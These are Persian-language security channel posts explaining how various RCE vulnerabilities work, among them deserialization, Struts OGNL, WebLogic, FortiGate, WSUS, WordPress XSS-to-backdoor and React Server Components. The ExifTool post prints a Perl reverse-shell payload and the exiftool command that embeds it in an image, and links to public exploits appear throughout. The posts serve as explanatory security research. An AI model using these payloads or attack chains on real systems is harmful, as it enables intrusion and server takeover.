#Deserialization #RCE
توابع Serialize در زبان هایی مانند PHP و JAVA و غیره از سال 2017 به اینور بستری برای رخداد حملات Code Execution در سمت Server شدند, و این مدل از آسیب پذیری ها همچنان پتانسیل بسیار بالایی در رخداد حملات سطح بالا رو دارا هستند,

در نتیجه در پلتفرم هایی که نیاز به انتقال مثلا یک ساختار به دیتابیس هستند, یا نیاز داریم تا در API تعریف شده یک برنامه, Object رو انتقال بدیم از توابع Serialize و Unserialize استفاده میکنیم, اما آیا هکرها قادر به تزریق مثلا یک کد به پارامتر های ساختارهای Serialize شده هستند؟ سابقه این نوع حملات نشون داده بله هستند...

https://www.ambionics.io/blog/drupal8-rce
https://www.exploit-db.com/exploits/46510
@Unk9vvN
#Host_Header #Injection on #RCE
تکنیک های زنجیروار برای پیاده سازی یک Remote Code Execution بر بستر فریمورک ها بسیار متفاوت و نیاز به آزمایشات بسیاری دارد, از این رو در آسیب پذیری هایی مانند #Host_Header_Injection همونطور که در تصویر پست مشاهده میکنید, هکر امکان این رو پیدا میکنه تا با فراخوانی curl یک Request به وبسرور خود زده و پایلود RCE خودش رو بر بستر فریمورک فراخوانی و اجرا کنه,

پایلود Advance های این آسیب پذیری بسیار محرک برای پیاده سازی حملات RCE میباشد, پیشنهاد میکنم تحقیقاتی در حوزه انجام بدید ...

https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html
@Unk9vvN
#RCE on #SSRF
نمونه ای از پیاده سازی Remote Code Execution بر بستر آسیب پذیری #SSRF که منجر به دسترسی Shell بر پایه ابزار #NC شده است,

از نکات جالب این پایلود میشود به اولین نکته یعنی اشاره پارامتر import_url به پورت درحال گوش دادن هکر اشاره کرد که به واسطه سرویس git انجام میگیره, این پارامتر import_url در برنامه Gitlab دارای آسیب پذیری #SSRF بوده و اولین قدم سوءاستفاده رو هکر برداشته,

اما مورد دوم که اصل قضیه هستش اینه که هکر با استفاده از resque و queue خود برنامه Gitlab اقدام به تعریف یک class کرده و در ساختار Json Base اون پارامتر args رو معادل class_eval برای اجرای مستقیم کد خودش قرار داده , و باز در ادامه مقدار setsid python... خودش رو در ورودی تابع open قرار داده که اول تابع مقداری بصورت پیشفرض برای Pars شده تعریف نشده در نتیجه هکر با یه Pipe اشاره به کد خودش میکنه, و بعد از اجرای nc.py با آی پی و پورت هکر تابع رو read میکنه و با استفاده از system_hook_push تعریف شده در gitlab پروسس خودش رو به اجرا در میاره ,

لازم به ذکر که بگم استفاده از تعریف queues و resque در URI آسیب پذیر محیا بوده...

@Unk9vvN
#Apache Struts #RCE #CVE-2017-5638
در بسیاری از تست های بلک باکس محصولات وب بیس یک نقطه ضعف خود نمایی میکند, آن نقطه ضعف عدم پیلود ریزی پیشرفته بصورت هوشمند است, یعنی معمولا برای یک #RCE ما از پیلودهای پیشفرض استفاده میکنیم برای مثال بر روی آسیب پذیری که پردازش Content-Type رخ داده پیلود مورد نظر اول مقدار multipart/form-data ارسال میکنه تا به محل پردازشی این نوع داده برسه , در مرحله بعد یک متغیر با نام dm ساخته و بواسطه اون فراخوانی میشه

@ofnl.OgnlContext@DEFAULT_MEMBER_ACCESS

در این قسمت با استفاده از فریمورک OGNL در پلتفرم Struts 2 یک دسترسی کاربر شرط شده که اگر بود یک Context ایجاد شده و بواسطه اون متغیری با نام ognlUtil پروسه initial کردن خود رو پش برده تا به پارامتر cmd رسیده و دستور مورد نظر اینجا برای پارس شدن ارسال خواهد شد,

در ادامه پیلود با استفاده از

@java.lang.System@getProperty.(os.name)

اقدام به تشخیص سیستم عامل میکنه و طبق Result که دریافت میکنه میاد مشخص کنه که کدام یک از Syntax خط فرمان رو اجرا خواهد کرد,

https://commons.apache.org/proper/commons-ognl/
@Unk9vvN
#Attacking_SSL_VPN_1 with #APT_39
در این پست بصورت متخصر در خصوص آسیب پذیری های سرویس دهنده های VPNs صحبت خواهیم کرد و چگونگی بستر شدن این آسیب پذیری ها برای پیاده سازی حمله سایبری منتسب به گروه ایرانی Fox Kitten که به دست کمپانی ClearSky گزارش شد,

در سال ۲۰۱۹ محققی با نام مستعار Orange Tsai در وبلاگ خودش اعلام کرد که بر روی سرویس دهنده های VPN در قسمت پردازش SSL آسیب پذیری های متعددی وجود داره که برخی از این آسیب پذیری ها منجر به #RCE و یا خواند فایل خواهد شد, اما چندی بعد در کنفرانس سالانه BlackHat 2019 مقاله ای رو ارائه داد که در این ارائه بصورت کاملتری پروسه Exploit کردن این سرویس هارو ارائه داد,

به گفته ایشون Fortinet و Pluse Secure و Palo Alto دارای آسیب پذیری هستند که خارج از پروسه Auth اکسپلویت شدن, بالای 50.000 در سرویس Pulse Secure و بالای 480.000 دیوایس در سرویس دهنده Fortigate دارای این آسیب پذیری ها هستند, سه کانسپت هم از این آسیب پذیرند Release شده که با ذکر CVE اونها لینک میکنم براتون,

CVE-2018-13379
CVE-2019-11510
CVE-2019-1579

Reference Blog Part 1
Reference Blog Part 2
@Unk9vvN
#Unauthenticated #Weblogic #RCE
چندین ساله که سرویس های Weblogic در پلتفرم های مختلف منجر به حملات RCE میشه که حاصل آسیب پذیری های مختلفی هستند، از این روی کشف آسیب پذیری بصورت WhiteBox در این سرویس ها بسیار موضوعیت داشته و هر ساله یک یا دو مورد آسیب پذیری سطح Critical عمومی میشود،

در تصویر پست بواسطه یک Request با روش POST به Endpoint مربوطه در سرویس Weblogic زده شده که نشون میده هکر مستقیما با استفاده از کلاس java.beans.XMLDecoder توانسته یک Initialize برای رسیدن به ProcessBuilder پیاده سازی کرده و با یک html encoding دستور ورودی به اکسپلویت رو در command_filtered قرار داده و بصورت void روش start رو فراخوانی کرده و RCE اتفاق می افته به همین راحتی،

دوستان از بحث Weblogic Pentest غافل نباشید چرا که بستر خوبی برای کشف bug برای bug bounty خواهد بود...

https://github.com/c0mmand3rOpSec/CVE-2017-10271
https://github.com/ZO1RO/CVE-2019-2890
@Unk9vvN
#CVE-2021-22204 #VirusTotal #RCE
مثل اینکه سرویس آنلاین VirusTotal از ابزار Exiftool استفاده میکرده که برای این ابزار، در خصوص پارس فایل فرمت DjVu یک آسیب پذیری RCE با شناسه CVE-2021-22204 ثبت شده بوده که بدلیل بروز رسانی نکردن ابزار، بر روی سرور VirusTotal این وبسایت مورد نفوذ قرار گرفته است.

(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")

کاری که فایل بارگزاری شده انجام میدهد این است که ما یک تگ جدید روی فایل با نام HasselbladExif و بایت های 0xc51b بنویسیم تا آن را در فایل جدید خود شناسایی کنیم. سپس میتوانیم آن را در داخل هر فایلی قرار دهیم. در نهایت فایل آماده djvu, را با فایل فرمت دیگری مثل JPEG ترکیب میکنیم که اینبار بواسطه Exiftool انجام میشه.

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg

https://www.cysrc.com/blog/virus-total-blog/
@Unk9vvN
#Hikvision IP #Camera #RCE Exploit
توجه به تست نفوذ Internet of Things برای شرکت های تولید کننده محصولات دوربین مداربسته، در آینده تبدیل به یک چالش جدی خواهد شد، چه در ایران چه در کشور های دیگر.

چرا که ماهیت این محصولات نظارت میدانی بوده که در مراجع حساس، امنیت آنها بشدت موضوعیت خواهد داشت، همچنین پر تعداد بودن این دستگاه ها و نیاز به آنلاین بودنشان موضوعی هست نا گریز که در صورت هک شدن و از کار انداختن سرویس، میتواند نارضایتی بسیاری در مشتریان شرکت های سرویس دهنده این محصولات به همراه داشته باشد.

از این روی توجه به خدمات تست نفوذ وب و اینترنت اشیاء و استفاده از روش شناسی هایی مانند #CTI یک الزامیست که فعالین حوزه دوربین میبایست به آن توجه کافی رو داشته باشند...


https://www.shodan.io/search?query=product%3A%22Hikvision+IP+Camera%22


https://www.exploit-db.com/exploits/50441
@Unk9vvN
#Windows #DHCPv6 Server #RCE
یک آسیب پذیری با شناسه CVE-2023-28231 ثبت شده است که از درجه حساسیت 9.8 برخوردار بوده، که بر روی سرویس DHCPv6 ویندوز رخ داده است.

این آسیب پذیری از نوع Heap-Based Buffer Overflow بوده و از راه دور قابلیت Trigger کردن داشته است. پروتکل DHCP برای مدیریت خودکار در خصوص تخصیص آدرس های IP در یک شبکه است.

در فرایند تخصص نوع آدرس IPv6 بر روی Port های 546 و 547، یک پردازش در خصوص پیام های Relay-Forward وجود داشته است که توسط تابع ProcessRelayForwardMessage در dhcpssvc.dll پردازش میشود.

این تابع یک بافر در Heap را با اندازه 1664 بایت، مقدار دهی اولیه میکند که آرایه 32 از ساختمان 52 بایت برای هر پیام Relay-forward تو در تو خواهد بود.

حال، هیچ اعتبارسنجی برای اطمینان از اینکه شمارنده از حداکثر تعداد مورد انتظار، 32 تجاوز نکند، انجام نمیشود. بنابراین اگر بیش از 32 پیام تو در تو در یک پیام Relay-forward گنجانده شود، تابع در یک افست مینویسد و از اندازه بافر تخصیص داده شده فراتر میرود که منجر به سرریز بافر میشود.

@Unk9vvN
#Frotigate #RCE #CVE-2024-21762
یکی از محصولات شرکت Fortinet که تولید کننده محصولات امنیت سایبری است، با نام FortiGate SSL VPN دارای یک آسیب پذیری باینری بوده که امکان اجرای کد از راه دور را میدهد.

نوع آسیب پذیری out-of-bounds write است به معنی نوشتن خارج از فرایند اجرای اصلی برنامه، که پیش از احراز امکان رخداد دارد.

مشکل در توابع Parser پروتکل HTTP است که بواسطه دریافت نوع داده مخرب، فرایند تخریب حافظه اتفاق می افتد، این نوع داده مخرب در Header با نام Chunked است که یک Transfer Encoding محسوب میشود، در توابع پارسر پروتکل.

یک حلقه while وجود دارد که در صورت تایید شرط مبنی بر کوچکتر بودن مقدار iVar3 از 1 ، param_1 مقدار دهی میشود و در مرحله بعد مقدار در تابع FUN_01707e10__ap_getline فراخوانی خواهد شد.

در انتهای مقدار Header کاراکتر های 0x0d و 0x0a را write میکند تا کاراکتر های CRLF را در لایه نرم افزار اعمال کند، اما با قرار دادن مقدار 0 برای طول کاراکتر chunked ، یک حلقه while اجرا میشود که مقدار param_1 را + 1 کرده و نهایتا در bVar2 میریزد.

@Unk9vvN
#XSS and #CSRF to #RCE for #WordPress
اگر از افزونه های جانبی سیستم مدیریت محتوای WordPress آسیب پذیری XSS کشف شد، چطور میشه آسیب پذیری رو به RCE یا اجرای کد از راه دور، تبدیل کرد؟

مهاجم بواسطه ایجاد درخواست جعلی از سمت کاربر (CSRF) اقدام به ارسال Request بر روی مرورگر ادمین میکند بواسطه آسیب پذیری XSS که وجود دارد، یعنی آسیب پذیری XSS موجب میشود یک Exploit به زبان جاوا اسکریپت SRC شود.

لذا مهاجم میتواند بواسطه XMLHttpRequest شروع به درخواست با Cookie ادمین کند و بواسطه زدن اولین درخواست با روش GET، مقدار CSRF-Token که در وردپرس _wpnonce نام دارد را دریافت کند.

و از آن CSRF-Token برای زدن درخواست معتبر بعدی مبنی بر بار گزاری یک افزونه جعلی استفاده خواهد کرد و با Endpoint مربوط به plugin-install.php صحبت میکند، که نتیجه میشود بار گزاری یک افزونه Backdoor و در ادامه درخواست فعال سازی افزونه زده خواهد شد و تمام.

اما نحوه صحبت با Backdoor روش جالبی است، که موجب صحبت با Endpoint درب عقبی شده و بواسطه ارسال دستورات در پارامتر های POST است که در تابع ()callback پارس خواهد شد.

@Unk9vvN
This media is not supported in your browser
VIEW IN TELEGRAM
#Redis #UAF #RCE
سرویس Redis یک سرویس در خصوص Cache کردن مقادیر لایه 7 است که بطور مشخص تلاش میکند تا داده های سمت کاربر را در صورت نداشتن الگوی جدید، بازتاب داده و کاربر به سمت سرور اصلی مراجعه نکند و اینطور سرعت سایت بالا رود.

اما Redis از مفسر Lua برای اجرای اسکریپت ها استفاده میکند که مفسر از یک Garbage Collector برای مدیریت خودکار حافظه بهره میبرد، این GC در پردازش حافظه Heap دچار آسیب پذیری Use After Free یا مراجعه بعد از آزاد سازی را دارا است.

در اسکریپت Lua مهاجم اقدام به تعریف یک آرایه بی مقدار کرده که آرایه در حافظه Heap توسط GC تعریف میشود و بعد از عدم مراجعه به آرایه ساخته شده، حافظه آزاد خواهد شد.

در ادامه از تکنیک Heap Spray استفاده کرده تا تمامی مناطق حافظه را بازنویسی کرده و آن بخش که از قبل رزرو و آزاد شده است، بازنویسی شده و مهاجم بر روی حافظه Interpreter اقدام به نوشتن ماشین کد کند که در این صورت بدلیل اجرای Interpreter در سطح Root، کد مخرب مهاجم نیز در بالاترین سطح اجرا خواهد شد.

این موضوع Sandbox خود Lua را نیز دور زده و کد میتواند به محیط بیرونی دسترسی داشته باشد.

@Unk9vvN
#WSUS Unauthenticated #RCE
اخیرا یک آسیب پذیری از سرویس Windows Server Update Services که بر مبنای پورت 8530 و 8531 کار میکند، آماده از نوع Insecure Deserialization که بدون احراز هویت میتوان اجرای کد از راه دور انجام داد.

این آسیب پذیری در فرایند AuthorizationCookie قرار دارد که در نقطه انتهایی آسیب پذیر در مسیر زیر است

{target}/SimpleAuthWebService/SimpleAuth.asmx


که سرویس SOAP در آن فعال است و مهاجم بواسطه تعریف یک <UpdateID> امکان تعریف یک Shellcode بر مبنای BinaryFormatter خواهد بود در پارامتر SynchronizationUpdateErrorsKey که فرایند Deserialize در آن بصورت نا امن انجام میشود.

زنجیره حمله به این صورت است که مهاجم اول یک کوکی بوایسطه GetCookie دریافت کرده و رمزنگاری AES-128-CBC رو بازگشایی کرده و مقادیر Gadget RCE از نوع BinaryFormatter را جای گذاری و مجددا رمزنگاری را انجام داده و به نقطه انتهایی آسیب پذیر ارسال میکند.

جالب آنکه این اجرای کد بواسطه Gadget RCE با سطح دسترسی SYSTEM خواهد بود و عملا Privilege Escalation نیز این وسط انجام شده است.

https://github.com/jiansiting/CVE-2025-59287
@Unk9vvN
#React Server Components to #RCE
بی مقدمه میرم سراغ ابعاد فنی، خب در ویژگی React Server Components که Next.js هم با نام App Router از آن استفاده میکند، یک پروتکل با نام Flight وجود دارد که وظیفه اجرای درخواست های سمت کاربر در خصوص Components هایی که در سمت سرور وجود دارد را داشته و بعد از Render کردن میبایست نتیجه را به سمت کاربر دوباره بازگشت دهد.

یعنی وقتی سمت کاربر نیاز به انجام یک Server Function دارد آنرا بصورت Serialize به سمت سرور ارسال کرده و RSC اقدام به Deserialize کردن Payload ارسالی میکند، که در تصویر پست جایی که FlightReplayServer قرار دارد مقادیر سمت کاربر بواسطه تابع requireModule(metadata) در حال دریافت است بدون هیچ چک امنیتی!

حالا مهاجم نیاز دارد تا به توابعی دسترسی پیدا کند که امکان دادن کد به آنها را دارد، برای اینکار از Prototype Pollution استفاده کرده که به معنی مخدوش کردن نمونه اولیه است، یعنی مهاجم یک property برای PP حساسی مانند Function تعریف میکند که یک کد RCE است و RSC هم هیچگونه تصدیق امنیتی روی property انجام نمیدهد.

POC
@Unk9vvN